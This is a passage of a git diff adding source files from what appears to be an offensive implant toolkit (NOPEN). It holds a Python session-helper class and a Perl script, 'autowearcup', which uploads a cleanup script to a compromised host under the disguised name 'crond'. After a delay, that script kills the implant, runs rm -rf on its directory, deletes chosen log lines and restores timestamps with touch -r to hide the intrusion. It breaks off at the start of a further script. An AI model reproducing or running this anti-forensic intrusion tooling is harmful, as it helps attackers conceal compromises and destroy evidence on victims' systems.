re_nopenline.match(line): + nopenlines.append(line) + else: + outputlines.append(line) + + return ('\n'.join(outputlines), '\n'.join(nopenlines), outputlines) + + # + # Runs the command and writes the output to a local file in opdown + # (for builtins) or optargetcommands. Force to optargetcommands + # with tgtcmd (execept builtins will ignore this). + # Returns a 2-tuple of the output content and the output file name: + # (output, outfilename) + # + def doitwrite(self, cmd): + + (out, nout, outlines) = self.doit(cmd) + + # find the actual command in the nopen output and use that for + # creating a file name (unless it was redirected) + + realcmd = None + noutlines = nout.split('\n') + + for line in noutlines: + if re.search('Saving +output to', line) or \ + re.search('^\[.*\]\[.* -. .*\]$', line): + continue + else: + r = re.search('\[(.*)\]', line) + if r != None: + realcmd = r.group(1) + break + + if not realcmd: + realcmd = cmd + + # cleanup the command string + tmpcmd = realcmd.strip() + tmpcmd = tmpcmd.replace('-nohist', '') + + r = re.search('^(.*)\s*[\.\>]+\s*(L:|T:).*', tmpcmd) + if r != None: + tmpcmd = r.group(1).strip() + + if tmpcmd[0] == '\\': + tmpcmd = tmpcmd[1:] + + tmpcmd = re.sub('[\*\!\s/\\\$\&>\|]', '_', tmpcmd) + tmpcmd = re.sub(';', '+', tmpcmd) + + if tmpcmd[0] in ['-', '=']: + filename = os.path.join( + self.opdown, '%s__%s' % (tmpcmd[1:], self.nopen_rhostname)) + elif realcmd.find('|') >= 0: + filename = os.path.join( + self.opdown, '%s__%s' % (tmpcmd, self.nopen_rhostname)) + else: + filename = os.path.join(self.optargetcommands, tmpcmd) + + # truncate long files + filename = filename[:2000] + filename = '%s__%s' % (filename, timestamp()) + + # just to be safe + self.preserveFiles(filename) + + fd = open(filename, 'w') + fd.write('# %s\n\n' % cmd) + fd.write(out) + fd.write('\n') + fd.close() + + return (out, filename) + + + # + # Takes an existing file and renames it to "filename_###". + # files can be a single filename or list of filenames. + # + def preserveFiles(self, files, loud=False): + + retarr = [] + + if files.__class__() == '': + files = [files] + + for f in files: + if os.path.exists(f): + ext_num = 0 + + while os.path.exists('%s_%04d' % (f, ext_num)): + ext_num += 1 + + newname = '%s_%04d' % (f, ext_num) + + if loud: + print '\n%s%s: File exists, renaming to %s%s\n' % \ + (self.COLOR_WARNING, f, newname, self.COLOR_NORMAL) + + os.rename(f, newname) + retarr.append(newname) + + return retarr + + # + # Not sure if used yet... + # + def startTunnel(self, autoport=None): + + from control import control + import random + + if not autoport: + autoport = random.randint(20000,60000) + + + self.callPerl("-tunnel %d tcp autoclose" % autoport) + + self.tunnel = control(int(autoport)) + self.tunnel.main() + + # + # Not sure if used yet... + # + def stopTunnel(self): + + if self.tunnel: + self.tunnel.s.send("c 1 2 3 4 5 6 7 8 9\n") + time.sleep(1) + self.tunnel.finish() + + # + # Cleans up. Right now just closes the autoport socket. + # + def cleanup(self): + + self.nopen_socket.close() + self.connected = False + self.nopen = None + + return + + # + # Returns 2-tuple (rx_MB, tx_MB), both floats. + # + def bwsofar(self): + + bwfile = os.path.join(self.opdown, 'bwmonitor.txt') + + if os.path.exists(bwfile): + tx_re = None + rx_re = None + + # try twice in case tail -2 fails for some reason + for i in range(0, 2): + tail = execute('tail -2 %s' % bwfile) + lines = tail.strip().split('\n') + + if len(lines) != 2: + continue + + tx_re = re.search('^\s*TX\s+(\d+)', lines[0]) + rx_re = re.search('^\s*RX\s+(\d+)', lines[1]) + + if tx_re != None and rx_re != None: + break + + if tx_re == None or rx_re == None: + return (0, 0) + + return (int(rx_re.group(1)) / 1048576.0, int(tx_re.group(1)) / 1048576.0) + else: + # TODO: go through pcaps dir and calculate size? + return (0, 0) + + # + # Pops a window with custom text + # - pillaged largely from doprint() + # + def textpopup(self, xargs, *msgs): + + whatout = os.path.join(self.optmp, '.whatout.%d.%d' % \ + (self.pid, random.randint(1,10000))) + + fd = open(whatout, 'w') + for m in msgs: + if m.__class__() == []: + for m2 in m: + fd.write(m2) + else: + fd.write(m) + fd.close() + + if xargs == None: + xargs = '-geometry 88x58 -bg white -fg blue' + + self.filepopup(whatout, xargs) + + return + + + # + # Pops an xterm with a provided file and geometry + # - pillaged largely from execute() + # + def filepopup(self, file, xargs='-geometry 88x58 -bg white -fg blue'): + + if not os.path.exists(file): + self.doprint(COLOR['fail'], 'Error: the file %s doesn\'t exist.' % file) + else: + pid = os.fork() + + if pid == 0: + cmd = 'xterm %s -e view %s' % (xargs,file) + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, + stderr=subprocess.PIPE, shell=True) + os._exit(0) + + return + + # + # Returns a name for a temporary file using the convention of + # prefix and NOPEN pid, ensuring the file doesn't already exist. + # Input is a directory and prefix concatenated, such as "/var/tmp/d" + # or "/dev/shm/.tmp". + # + def tmpfilename(self, directoryprefix): + number = int(self.nopen_mypid) + output = "dummy" + while output: + output, nopenoutput, outputlines = self.doit("-lt %s.%d" % (directoryprefix, number)) + number += 1 + number -= 1 + return "%s.%d" % (directoryprefix, number) + + + +############################################################################### + +# +# Use this class when doing option parsing. +# +# By default, the epilog (to print additional help info) will strip off +# newlines, so this class overrides it and returns it as-is. +# +class OptParser(OptionParser): + + # + # Don't do any formatting on the epilog. + # + def format_epilog(self, formatter): + + return self.epilog + + +############################################################################### +# Misc methods +############################################################################### + +# +# Locally execute a command and return the stdout output, +# since os.system() does not return output. +# +def execute(cmd, indata=None): + + stdin = None + + if indata: + stdin = subprocess.PIPE + + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=stdin, + stderr=subprocess.PIPE, shell=True) + + if indata: + proc.stdin.write(indata) + proc.stdin.close() + + output = proc.stdout.read() + + return output + +# +# Split list l into n sized chunks. +# +def chunks(l, n): + + return list(chunks_h(l, n)) + +def chunks_h(l, n): + + for i in xrange(0, len(l), n): + yield l[i:i+n] + +# +# Returns readlines() output from a file +# +def file_readlines(filename): + + try: + fd = open(filename, 'r') + lines = fd.readlines() + fd.close() + return lines + except: + return [] + + +# +# Returns timestamp in format of YYYYMMDD-HHMMSS +# +def timestamp(): + + return time.strftime('%Y%m%d-%H%M%S', time.gmtime()) + + +if __name__ == "__main__": + + print "Not to be called directly..." + sys.exit(1) diff --git a/Linux/etc/autowearcup b/Linux/etc/autowearcup new file mode 100755 index 0000000..2fdb352 --- /dev/null +++ b/Linux/etc/autowearcup @@ -0,0 +1,693 @@ +#!/usr/bin/env perl +## +$VER="2.3.0.2" ; +# nopen seems happier with stderr in lsh runs +# or does it? Took it out now... +#select STDERR ; +$| = 1 ; +myinit() ; +$dowhat = buildit() ; + +my %badplace = () ; +my @badplaces = ("/tmp","/","/usr","/var","/bin","/sbin","/proc", + "/home","/etc","/dev","/boot","/lib","/opt","/var/tmp", + "/usr/var","/var/usr","/root","/export","/lost+found", + ); +my @regexps = ("(/[^\/]+)*/\.[a-f0-9]{15}[a-f0-9]*\$", + ); +$badplace{$_}++ foreach (@badplaces) ; +if (!$skipwipe) { + my ($problem,$hiddenproblem) = (0,0); + my $out = ""; + if ($badplace{$targetcwd}) { + $problem++; + } + foreach $regexp ( @regexps) { + $hiddenproblem++ if ($targetcwd =~ /$regexp/); + } + if ($problem) { + unlink("$opup/cup.auto") ; + my $count = 0 ; + $out .= "Why? Directory to wipe must not be any of these:\n "; + foreach (@badplaces) { + $out .= sprintf("%-12s",$_) ; + $count++ ; + $out .= "\n " unless ($count % 5) ; + } + } + if ($hiddenproblem) { + $out .= "\nWhy? Directory to wipe must not match any of these (perl) regular expressions:\n "; + foreach (@regexps) { + $out .= sprintf("%-35s",$_) ; + $count++ ; + $out .= "\n " unless ($count % 3) ; + } + } + if ($problem or $hiddenproblem) { + $dowhat =~ s,(/bin/rm -rf $targetcwd),###BADLINE:\1,; + $dowhat =~ s,($fuserfile -k.*$targetcwd),###BADLINE:$1, ; + mymydie( #"Directory to wipe must not be any of these:\n $out \n\n". + ".\n\n". + "\n\n". + "\t\tFATAL ERROR!!!! ABORTING BEFORE DOING ANYTHING.\n\n". + "\t\t$opup/cup.auto would have contained the\n". + "\t\tBAD LINES marked and commented out below:\n\n". + $dowhat."\n\n\n". + "$out\n\n". + "Use -W to skip the dir wipe entirely, with -T to indicate any\n". + "binaries you want to kill with fuser and then wipe.\n\n". + "Or, use -W to skip the dir wipe with -p (and maybe -P) to kill\n". + "the NOPEN pid(s) (and perhaps other pids).\n" + ) ; + } +} +$prompt .= "$COLOR_FAILURE\n\n". + "$prog has called autowearcup. Its execution will continue\n". + "once your cup script is active.\n\n" + if ($autodone); +$prompt .= "${COLOR_NOTE}## $opup/cup.auto has been built and contains:\n". + $COLOR_NORMAL. + "\n$dowhat\n\n"; +if (!$debug) { + $prompt .= "bort or ontinue with upload and execute $opup/cup.auto as $name?"; + if (($ans) = mygetinput($prompt,"A","C")) { + dbg("runonce=$runonce= autodone=$autodone="); + my $more = "\n\n". + "WARNING: Neither cup nor autonewdone has been properly executed yet.\n". + " Be sure you either run -gs auto manually here or get another window on\n". + " $nopen_rhostname so that window can do so.\n\n" + if ($autodone); + mymydie("Aborting$more") if ($ans eq "a") ; + } + progprint("\n\nUploading and executing $opup/cup.auto as \"$name &\"\n",$COLOR_FAILURE); + ($output) = doit("-put $opup/cup.auto $targetcwd/$name", + "-cat $targetcwd/$name", + "-cd $targetcwd", + ); + `mkdir -p $opdown/$nopen_rhostname/NOSEND/tools`; + copy("$opup/cup.auto", + "$opdown/$nopen_rhostname/NOSEND/tools/cup_deployed_".timestamp(short)) or + copy("$opup/cup.auto", + "$opdown/NOSEND/cup.${nopen_rhostname}_deployed_".timestamp(short)); + newhostvar("host_donotburn{$nopen_rhostname}","$prog $output"); + ($output,$nopenlines,@output) = + doit("PATH=.:\$PATH $name &", + "-cdp", + ); + $cuppidactual = $output[0]; + ($output,$nopenlines,@output) = + doit( + "=ps | egrep \"$name|sleep $sleep\" | grep -v grep", + NONOHIST + ); + #TODO: Clean up...parse output above to generate pastables + my ($sleeppid,$cuppid,%sleeppid,$matchcount,$bettersleeppid,$warning) = (); + foreach (@output) { + my ($pid,$ppid) = /(\d+)\s+(\d+)/; + if (/sleep $sleep/) { + $sleeppid{$ppid} = $pid; + } + if (/$name/) { + $cuppid{$pid} = 1; + $cuppidparent{$pid} = $ppid; + } + } + if (scalar keys %sleeppid > 1) { + $warning = "$COLOR_FAILURE\a". + "BE CAREFUL!! There seems to be more than one \"sleep $sleep\".\n". + " We should have found the right one but check it.\n". + " ps output was:\n\n". + "=ps | egrep \"$name|sleep $sleep\" | grep -v grep\n$output"; + } + foreach $pid (keys %cuppid) { + next unless $pid == $cuppidactual; + if ($cuppidparent{$pid} == 1 and + $sleeppid{$pid} > 1) { + $sleeppid = $sleeppid{$pid}; + $bettersleeppid = $sleeppid{$pid} if $sleeppid{$pid} == $cuppidactual; + $cuppid = $pid; + last; + } + } + mymydie("Could not find both pids: sleeppid=$sleeppid cuppid=$cuppid\n\n\aYOU MUST MANUALLY FIGURE IT OUT FROM HERE (which to kill to do what).") + unless ($sleeppid and $cuppid); + my $alarmdelay = secstostr(maxof(10,$sleep-600)); + my ($killcontent) = + ("$COLOR_NORMAL\n". + "\n\n". + secstostr($sleep)." CUP script deployed at ".scalar gmtime().".\n\n". + "Issue this to kill sleep, making the Clean UP process begin\n". + "( This is$COLOR_FAILURE INSTEAD OF -burn$COLOR_NORMAL ):\n\n\t\t". + "kill -9 $sleeppid\n\n". + "Or issue this to kill off and abort cup process entirely\n". + "($COLOR_FAILURE CleanUP is then up to you$COLOR_NORMAL ):\n\n\t\t". + "kill -9 $cuppid ; sleep 1 ; kill -9 $sleeppid\n\n". + $warning."\n\n". + "A pop-up alarm will be given in $alarmdelay." + ); + progprint($killcontent); + if (open(OUT,">>$opdown/$nopen_rhostname.cup.sleep.pids")) { + print OUT "$sleeppid,$cuppid\n"; + close(OUT); + } else { + mywarn("Could not write to $opdown/$nopen_rhostname.cup.sleep.pids"); + } + $dowhat =~ s/\n/\n /g; + if (open(OUT,">>$opdown/$nopen_rhostname.cup.sleep.kills")) { + print OUT "$COLOR_NOTE".scalar gmtime(). + " -gs wearcup [$$] cup script deployed:$COLOR_NORMAL \n ". + $dowhat. + $killcontent; + close(OUT); + popalarm("$opdown/$nopen_rhostname.cup.sleep.kills",$alarmdelay); + } else { + mymydie("Could not write to $opdown/$nopen_rhostname.cup.sleep.pids"); + } + sleep 6 if $warning; +} else { + my $commands .= "\n\nDEBUG: Here is the\n". + "$opup/cup.auto that $prog would have uploaded/executed if\n". + "debug mode was not chosen:\n\n$COLOR_NORMAL". + "$dowhat\n\n"; + progprint("$commands",$COLOR_FAILURE); +} +ENDMAIN: + +# Called via do so must end with 1; +1; + +sub mymydie { + mywarn(@_); + goto ENDMAIN +} +#mymydie + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs wearcup @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs wearcup"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $defsleep = "10800" ; + $defname = "crond" ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $origparms = " @ARGV"; +# mydie("bad option(s)") if (! Getopts( "hvw:d:DHr:ACP:F:pL:WbtR" ) ) ; + mydie("bad option(s)") if (! Getopts( "hvw:d:DHr:ACP:F:pL:WtRT:" ) ) ; + $debug = $opt_D ; + mydie("Syntax error: $prog takes only options no arguments") + if (@ARGV); + if ($opt_r) { + $name = $opt_r ; + } else { + $name = $defname ; + } + $fusertargetfiles = $opt_T; + $resetfuser = $opt_R; + $noburn = $opt_b; + $notouch = !$opt_t; + mydie("-r argument \"$name\" must not contain a \"/\".") + if ($name =~ /\//) ; + $cupfile = "$opup/cup.auto" ; +my $nah_not_anymore = + " -b Clean log entries now (implies -C and -w0), but do NOT + burn the RAT via fuser and do NOT clean up the directory. +" ; + my $defhrs = $defsleep/60/60 ; + $gsusagetext=" +Usage: $prog [-h | options] + +OPTIONS [defaults] + +-w delay Have the script sleep for this long before firing. (\"delay\" + can be in the format: [#h][#m]#[s]) [${defhrs}h] +-p Instead of using fuser to kill, just outright \"kill -9\" + this NOPEN server's pid and (if not 1) its parent pid. + This can be useful if you have no working directory any + longer and the NOEPN binary is already deleted, but there + is still something you want done AFTER NOPEN is gone (with + -C or -A, or both). +-P pidlist When using -p, also kill -9 these pids. List must be + comma delimited integers greater than one. + NOTE: Use care here, obviously. +-d /dir Use this directory as the one to wipe and/or the one + running binaries that need killing. [NOPEN cwd] +-W Skip the dir wipe (\"rm -rf /dir\") step. +-D Debug mode--build cup.auto but just show it and exit. +-r rmtname Run ${name} on target as \"name\". [$defname] +-C Clean some log entries from one or more files. You are + prompted for the file to clean, and the regexp to egrep -v + out of it. This works on Solaris 2.6+ syslogd files and + most any Linux, too. +-t Used with -C, this uses the \"touch -r\" command to try to + preserve the timestamp of the file(s) being cleaned. + Probably this is not needed--the timestamp is probably + roughly current, anyway. Note that this will leave a + current ctime, though. +-A Run some more commands after cleanup (use -C for egrep -v + style log cleaning, though). You are prompted for the + commands to run. +-T file(s) File names (comma delimited) of binaries in /dir to kill + with fuser (may be needed when -W is used, if the process + being killed is in a directory we do not want to wipe). +-F file(s) Full path to target's \"fuser\" program. Without -F, + $prog will verify the usual location will work. Can + be a comma delimited list of several files to try. +-R Reset--remove previously set/verified fuser and find it + again. + +NOTE about -C/-A: Keep in mind no one will see any output from these + commands as they are done after the RAT is killed. + +$prog builds $opup/cup.auto according to the chosen +options, shows the final result, then allows user to either abort or +continue and upload/run cup.auto on target as \"./rmtname \&\". + +cup.auto will be patterned after the original shell script cup. Cup +stands for \"Clean UP\" and is most often run on HP, since a running +binary cannot be deleted there. + +When run, ${name} will delete itself and then sleep the desired delay. Once +the sleep expires or is killed, ${name} then uses either fuser or kill -9 +to kill the desired processes, and then wipes the desired files and/or +directories. + +$prog can be run at the beginning of an op. Default sleep time is +three hours. When the op is done, DO NOT BURN NOPEN! Instead, send the +sleep's pid (NOT CUP's pid and NOT NOPEN's pid) a \"kill -9\". This will +trigger the rest of the commands in the uploaded cup script to execute, +namely killing off the NOPEN server and its children and cleaning and +deleting the directory. +$COLOR_FAILURE +AGAIN: DO NOT BURN NOPEN WITH -burn WHEN CUP IS REQUIRED TO DELETE + THE NOPEN BINARY RUNNING. +$COLOR_NORMAL + +"; + usage() if ($opt_h or $opt_v) ; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + mydie("-t makes no sense without -C") + if ($opt_t and !$opt_C); + mydie("-b and -p or -F make no sense together") + if ($opt_b and ($opt_F or $opt_p)); + mydie("-p and -F make no sense together") + if ($opt_p and $opt_F); + mydie("-P requires -p") + if ($opt_P and !$opt_p); + if ($opt_W) { + mydie("-W makes no sense with -d") + if ($opt_d); +# mydie("-W requires -T") +# unless($opt_T); + } + mydie("-d argument must start with \"/\"") + if ($opt_d and !($opt_d =~ /^\//)) ; + mydie("Directory \"$opt_d\" must not contain whitespace") + if ($opt_d =~ /\s/) ; + mydie("-T argument must not be a path, just a filename (no \"/\")") + if ($opt_T =~ /\//); + my ($amt,$what,$junk) = $opt_w =~ /^(\d+)(.{0,1})(.*)/ ; + # $opt_w is "\d+[hs]" time to sleep in minutes ('m' or no unit), seconds or hours + if ($opt_w) { + $sleep = strtoseconds($opt_w); + mydie("-w argument ($opt_w) not in the form [#h][#m]#[s]") + if ($sleep < 0); + } else { + $sleep = $defsleep; + } + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) = parsestatus("force"); + ($killpid,@fuserfiles) = (); + $fuserfile = whatfuser(); + @fuserfiles =($fuserfile) if $fuserfile; + unless ($noburn) { + # $opt_F optional non-standard $fuserfile + my $nosuchfile=1; + my $baduserfile=0; + if ($opt_F) { + mydie("malformed -F argument $opt_F") + if (!($opt_F =~ /^\/\S+$/) or $opt_F =~ /\"/) ; + if ($fuserfile and $opt_F ne $fuserfile) { + mywarn("You provided \"$opt_F\" as the fuserfile, but target seems to\n\t". + "have $fuserfile. Either continue with your choice, or abort and\n\t". + "then re-try WITHOUT -F.",$COLOR_FAILURE); + my $ans = getinput("Continue or Abort?","A","C"); + mydie("Aborted by user.") if ($ans =~ /^a/i); + $fuserfile = $opt_F; + $fuserfile =~ s/,/ /g; + ($output,$nopenlines,@output) = doit("-sha1sum $fuserfile"); + my %tested = (); + foreach (@output) { + ($file) = (/\d\d:\d\d:\d\d \d{4} (\/.*)/); + ($file,$junk) = ($1,$2) if + $file =~ /(\S+)(\s+\[.*\])/; + next unless $file; + next if $tested{$file}++; + $nosuchfile=0; + ($output) = doit("$file"); + push(@fuserfiles,$file) if ($output =~ /usage.*fuser/i) ; + } + } + if (!@fuserfiles) { + mydie("No such file $fuserfile on $nopen_rhostname") + if $nosuchfile; + my ($ans) = mygetinput("$fuserfile does not appear to really be fuser. The output\n". + "of \"$fuserfile\" above should contain \"usage.*fuser\" and does not.\n". + "USE THIS FILE ($fuserfile) AT YOUR OWN RISK/PERIL!!!!\n\n\a". + "Either Continue and we will use it, or Abort and retry without -F.\n\t". + "Continue or Abort?","A","C"); + mydie("Aborted by user.") if ($ans eq "a"); + $baduserfile++; + push(@fuserfiles,$fuserfile); + } + } else { + if ($opt_p) { + $killpid = " $targetpid" if ($targetpid > 1); + $killpid .= " $targetppid" if ($targetppid > 1); + if ($opt_P) { + foreach $tmp (split(/,/,$opt_P)) { + mydie("-P must be comma delimited integers greater than 1") + unless ($tmp =~ /^\d+$/ and $tmp > 1); + $killpid .= " $tmp"; + } + } + } + } + unless (@fuserfiles) { + ($output,$nopenlines,@output) = doit("-sha1sum /usr/bin/fuser /bin/fuser /usr/sbin/fuser /sbin/fuser"); + foreach (@output) { + ($file) = (/\d\d:\d\d:\d\d \d{4} (\/.*)/); + ($file,$junk) = ($1,$2) if + $file =~ /(\S+)(\s+\[.*\])/; + next unless $file; + next if $tested{$file}++; + ($output) = doit("$file"); + push(@fuserfiles,$file) if ($output =~ /usage/i) ; + } + } + if (@fuserfiles == 1) { + $fuserfile = shift(@fuserfiles); + } elsif (@fuserfiles > 1) { + my $output = "" ; + my $warning = ""; + my $s=""; + $s = "s" if @fuserfiles > 2; + my $singular = $s ? "" : "s" ; + my $default = 1; + if ($baduserfile) { + $warning = "$COLOR_FAILURE". + "WARNING: You supplied $fuserfiles[0], which did not look like fuser. The other\n". + " file$s listed here appear$singular to be a better choice.\n". + "$COLOR_NORMAL\n"; + $default = 2; + } + my @allowed = ($default) ; + for (my $i = 1 ; $i <= @fuserfiles ; $i++) { + push(@allowed,$i); + $output .= "\t$i) $fuserfiles[$i-1]\n"; + } + $output .= "\tA) Abort\n"; + + my ($ltr,$ans) = mygetinput("${warning}More than one fuser file found (scroll up to see -sha1sums):\n". + "$output\nUse which one (or Abort):",@allowed,"A") ; + mydie("Aborted by user.") if ($ans eq "a"); + $fuserfile = @fuserfiles[$ans-1] ; + } else { + mydie("No fuser found on target. Either use -F to point to one,\n". + "\t\tor -p to use kill -9 method instead of fuser."); + } + whatfuser($fuserfile); + }#$noburn or find fuser + unless ($noburn or $killpid) { + mydie("Could not find /usr/sbin/fuser.\n". + " Use -F if you know where it is. ABORTING!") + unless ($fuserfile); + # TODO: Save off this $fuserfile for future use on this guy + } + # $opt_d is working DIR to wipe clean + $skipwipe=0; + $targetcwd = $opt_d if $opt_d; + $skipwipe++ if ($opt_W); + ($output) = doit("-ls -d $targetcwd"); + mydie("-d $targetcwd must exist") + unless ($output =~ /^(.)\S{9}\s*.*\d\d:\d\d(:\d\d){0,1} \d{4} (\/.*)$/ + and $targetcwd eq $3); + mydie("-d $targetcwd must be a directory") + unless ($1 eq "d"); + $wipetargets = ""; + if ($fusertargetfiles) { + my %doneit = (); + foreach $file (split(/,/,$fusertargetfiles)) { + next if $doneit{$file}++; + ($output) = doit("-ls $targetcwd/$file"); + mydie("FATAL ERROR: $targetcwd/$file does not exist") + unless $output; + $wipetargets .= " $targetcwd/$file"; + } + } + + # Make sure that our remote name is not present on target. + ($remotelist,$nopenlines,@remotelist) = doit("du $targetcwd/$name"); + if ($remotelist =~ /(\d+)\s+$targetcwd\/$name/) { + mydie("$targetcwd/$name already exists on target with size $1; use a different name with -r!"); + } + + $nonohist = $opt_H ; + @runafter = () ; + my $checkfilesizes = "" ; + if ($opt_C) { + # Frist, before cleaning, and after the killing, we sleep a few + # to give whatever we just killed a chance to finish logging. + @runafter2 = ("/bin/sleep 5"); + my $file = "" ; + my $regexp = "" ; + my $randfile = "/tmp/.t.$$" ; + my $randfile2 = "$randfile.2"; + $randfile2 = "" if $notouch; + mywarn("Choose files to clean after bailing.${COLOR_WARN}\n\nBE CAREFUL!!\n\nMake sure the files/regexp's you enter here are 100% accurate +and do not hurt the target and do what you want. There's no way to check the result.\n\n") ; + while ($file ne "DONE") { + ($ltr,$file) = mygetinput("File to clean:","DONE"); + last if ($file eq "DONE"); + unless ($file =~ /^\//) { + mywarn("File must be full pathname."); + next; + } + ($ltr,$regexp) = mygetinput("Regexp matching lines to delete:"); + unless($file and $regexp) { + mywarn("Ignoring file \"$file\" and regexp \"$regexp\", since one is empty."); + next; + } + push(@runafter2,"/bin/touch -r $file $randfile2") + unless $notouch; + push(@runafter2,"/bin/egrep -v \"$regexp\" $file > $randfile ; /bin/cat $randfile > $file"); + push(@runafter2,"/bin/touch -r $randfile2 $file") + unless $notouch; + $checkfilesizes .= " $file" ; + } + if (@runafter2) { + push(@runafter2,"/bin/rm -f $randfile $randfile2"); + } + if ($checkfilesizes) { + # This is only time there is a second pass + ($output,$nopenlines,@output) = doit("-ls $checkfilesizes"); + my %size = (); + foreach(@output) { + my @fields = split(/\s+/,$_); + if (@fields == 10 and $fields[9] =~ /^\// and $fields[4] =~ /^\d+$/) { + $size{$fields[9]} = $fields[4]; + } + } + ($output,$nopenlines,@output) = doit("=df /tmp"); + my ($availfield,$capfield,$kavailable) = (); + foreach(@output) { + my @fields = split(/\s+/,$_); + if (/filesystem.*avail.*mount/i) { + for ($i=0;$i<@fields;$i++) { + $availfield = $i if ($fields[$i] =~ /avail/i) ; + $capfield = $i if ($fields[$i] =~ /capacity/i) ; + } + } + if ($availfield) { + $kavailable = $fields[$availfield]; + $available = 0.90*( 1024 * $fields[$availfield]); + } + } + mydie("Unable to find space available on /tmp: $available") unless $available; + my $s = "s" if ((scalar(keys %size)) > 1) ; + mywarn("Checking that /tmp has sufficient space (${kavailable}K) for the file$s being cleaned"); + foreach $file (keys %size) { + $ksize{$file} = $size{$file}/1024; + if ($size{$file} > $available) { + mydie("ABORTING: $file is $ksize{$file}K and /tmp has only ${kavailable}K available"); + } + mywarn(sprintf(" %8.2fK size %-35s${COLOR_NOTE} OK",$ksize{$file},$file)); + } + }#if $checkfilesizes + }#if $opt_C + if ($opt_A) { # skip this section until second pass if there is one + mywarn("\n\nBE CAREFUL!!\n\nMake sure the commands you enter here are 100% accurate +and do not hurt the target and do what you want. There's no way to check.\n\n"); + + $ans = "dummy"; + while ($ans) { + my $more = ""; + $more = "Enter the other (-A) commands you want to run on target,\n". + "one per line. Blank line terminates.\n\n" + if ($ans eq "dummy"); + ($ltr,$ans) = + mygetinput($more. + "next line> ",""); + push(@runafter,$ans) if $ans ; + } + }#if $opt_A + if ($killpid and !$opt_d) { + my $s = "s" if ($killpid =~ / /); + mywarn("Killing pid$s $killpid. NO DIRECTORY WILL BE WIPED.\n\t\t". + "Use -d /dir to wipe a directory also."); + } + if ($noburn) { + my $more = "\n\t\t(and you entered nothing for -A/C)" + if $opt_A or $opt_C; + mydie("-b makes no sense without either -A or -C or both$more") + unless (@runafter or $checkfilesizes); + } +}#myinit +sub buildit { + mydie("Unable to open > $cupfile") unless + open(CUPOUT,"> $cupfile") ; + my $commands = doit("#!/bin/sh",CUPOUT); + $commands .= doit("echo \$\$", + "/bin/rm -f $targetcwd/$name", + "cd /", + "trap : TERM", + "exec >&- 2>&-", + "sleep $sleep", + CUPOUT); + if ($killpid) { + $commands .= doit("/bin/kill -9 $killpid", + CUPOUT); + $commands .= doit("/bin/sleep 5", + "/bin/rm -rf $targetcwd", + CUPOUT) + if ($targetcwd and !$skipwipe); + } else { + my $targetcwdalso=""; + $targetcwdalso = "$targetcwd/" + unless ($targetcwd eq "/tmp" or $skipwipe); + if ($fusertargetfiles) { + my @fusertargets = split(/,/,$fusertargetfiles); + if (@fusertargets) { + my %doneit = (); + $fusertargetfiles = ""; + foreach (@fusertargets) { + $fusertargetfiles .= "$targetcwd/$_ " + unless $doneit{$_}++; + } + } + } else { + $fusertargetfiles = "$targetcwd/*" + unless ($targetcwd eq "/tmp"); + } + if ($targetcwdalso or $fusertargetfiles) { + $commands .= doit( + "$fuserfile -k $targetcwdalso $fusertargetfiles", + CUPOUT) unless $noburn; + } + $commands .= doit("/bin/sleep 5", + "/bin/rm -rf $targetcwd", + CUPOUT) unless $skipwipe; + }#$killpid or not + $commands .= doit("/bin/rm -f $wipetargets", + CUPOUT) + if ($wipetargets); + if (@runafter2) { + $commands .= doit(@runafter2,CUPOUT); + } + if (@runafter) { + $commands .= doit(@runafter,CUPOUT); + } + close(CUPOUT) ; + return $commands ; +}#buildit + +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +}#getinput + +sub whatfuser { + local ($setfuserfile) = (@_); + if ($setfuserfile) { + mymydie("Cannot open $optmp/fuserfile.$nopen_rhostname for write") + unless open(OUT,"> $optmp/fuserfile.$nopen_rhostname"); + print OUT "$setfuserfile"; + close(OUT); + } else { + if ($resetfuser) { + unlink("$optmp/fuserfile.$nopen_rhostname"); + $resetfuser=0; + } else { + return "" + unless open(IN,"$optmp/fuserfile.$nopen_rhostname"); + chomp($setuserfile = ); + close(IN); + progprint(" \n\nfuser file set to $setuserfile in previous run of $prog\n". + "Use -R option to no longer use it.\n",$COLOR_FAILURE) + if $setuserfile; + sleep 2; + } + } + return $setuserfile; +} diff --git a/Linux/etc/autowrapsift b/Linux/etc/autowrapsift new file mode 100755 index 0000000..44618e8 --- /dev/null +++ b/Linux/etc/autowrapsift @@ -0,0 +1,1328 @@ +#!/usr/bin/env perl +## +$VER="1.3.0.6"; + +$| = 1 ; +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid, + $targetport,$output,$nopenlines,@lines) + = (); + +myinit(); + +myprep() unless $checkdebugonly or $lookforsift; + +lookforsift() if $lookforsift; + +my $taillines = 23; +if ($checkdebugonly) { + if ($sift_filter =~ /^-{0,1}(\d+)$/) { + $taillines = int($1) if (int($1) > 0); + } +} + +my ($failedinstances,$nopenlines,@failedinstances) = + doit("-get -v $sift_currentdir/.D*"); + +if ($failedinstances) { + my $more = ""; + 